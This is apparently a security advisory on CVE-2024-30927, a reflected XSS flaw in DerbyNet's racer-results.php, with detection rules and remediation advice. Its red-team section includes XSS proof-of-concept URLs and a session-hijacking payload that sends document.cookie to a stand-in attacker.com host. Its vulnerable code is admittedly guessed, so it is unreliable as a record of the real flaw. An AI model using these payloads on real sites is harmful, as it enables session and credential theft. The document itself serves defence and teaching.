CVE-2024-30927

Executive Summary

CVE-2024-30927 is a Cross-Site Scripting (XSS) vulnerability identified in DerbyNet versions 9.0 and below. The flaw resides in the racer-results.php component, allowing an unauthenticated attacker to inject arbitrary JavaScript code into the application. Successful exploitation can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability is publicly known but currently unpatched, posing a significant risk to all deployments of DerbyNet v9.0 and earlier.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application vulnerability.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for a formal CVSS calculation. However, based on the nature of the vulnerability (XSS), a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – victim must visit the crafted URL.
• Scope (S): Changed (C) – injected script can affect other resources.
• Confidentiality (C): Low (L) – potential data theft.
• Integrity (I): Low (L) – content can be modified.
• Availability (A): None (N) – no direct DoS.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Estimated Score: 6.1 (Medium)

Threat Level: Medium – due to low complexity and no authentication requirement, but requires user interaction.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the racer-results.php script. The application fails to sanitize user-supplied input before reflecting it in the HTTP response. An attacker can craft a URL containing malicious JavaScript in a parameter (likely racer or similar) that is echoed back without encoding.

Attack Flow:

1. Attacker crafts a malicious URL: http://target/racer-results.php?racer=<script>alert('XSS')</script>
2. Victim clicks the link (e.g., via phishing email).
3. The server returns a page containing the unsanitized script.
4. The victim's browser executes the script in the context of the DerbyNet application.

Root Cause: Lack of output encoding or input validation in the racer-results.php component.

Vulnerable vs. Patched Code

Vulnerable Code (DerbyNet <= 9.0):

<?php
$racer = $_GET['racer'];
echo "Racer: " . $racer;
?>

Patched Code (Hypothetical Fix):

<?php
$racer = htmlspecialchars($_GET['racer'], ENT_QUOTES, 'UTF-8');
echo "Racer: " . $racer;
?>

The fix uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Proof-of-Concept (PoC):

<script>alert('XSS')</script>

Craft a URL:

http://target/racer-results.php?racer=<script>alert('XSS')</script>

Advanced Payload (Session Hijacking):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Lab Setup:

1. Install DerbyNet v9.0 on a local server (e.g., XAMPP).
2. Access http://localhost/racer-results.php?racer=test.
3. Inject the PoC payload to confirm vulnerability.

Blue Team (Defensive)

Detection:

• Monitor web logs for suspicious parameters containing <script>, onerror, onload, etc.
• Use WAF rules to block XSS patterns.

Mitigation:

• Apply input validation and output encoding.
• Implement Content Security Policy (CSP) headers.
• Restrict access to racer-results.php if not needed.

Indicators of Compromise (IOCs)

• Network: HTTP requests to racer-results.php with parameters containing <script>, %3Cscript%3E, or other HTML/JavaScript tags.
• Logs: Web server logs showing GET /racer-results.php?racer=<script>... entries.
• File: Modified racer-results.php if attacker gains write access (unlikely for reflected XSS).

Detection Engineering

YARA Rule

rule CVE_2024_30927_XSS {
    meta:
        description = "Detects XSS attempts targeting DerbyNet racer-results.php"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-30927"
    strings:
        $xss_pattern1 = /racer-results\.php\?racer=.*<script>/i
        $xss_pattern2 = /racer-results\.php\?racer=.*%3Cscript%3E/i
        $xss_pattern3 = /racer-results\.php\?racer=.*onerror/i
    condition:
        any of them
}

Sigma Rule

title: XSS Attempt on DerbyNet racer-results.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in requests to racer-results.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'racer-results.php?racer='
        cs-uri-query|re: '(<script>|%3Cscript%3E|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in racer names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30927 XSS Attempt on DerbyNet racer-results.php"; flow:to_server; content:"GET"; http_method; content:"racer-results.php"; http_uri; pcre:"/racer-results\.php\?racer=.*(<script>|%3Cscript%3E|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable racer-results.php if not essential.
2. Apply WAF rules to block XSS patterns.
3. Monitor logs for exploitation attempts.

Long-Term Fix:

• Upgrade to a patched version when available.
• Implement output encoding using htmlspecialchars() or a templating engine.
• Conduct a security audit of all PHP files.

Workaround:

• Use .htaccess to restrict access to racer-results.php by IP or authentication.

Valters IT
Securing Digital Frontiers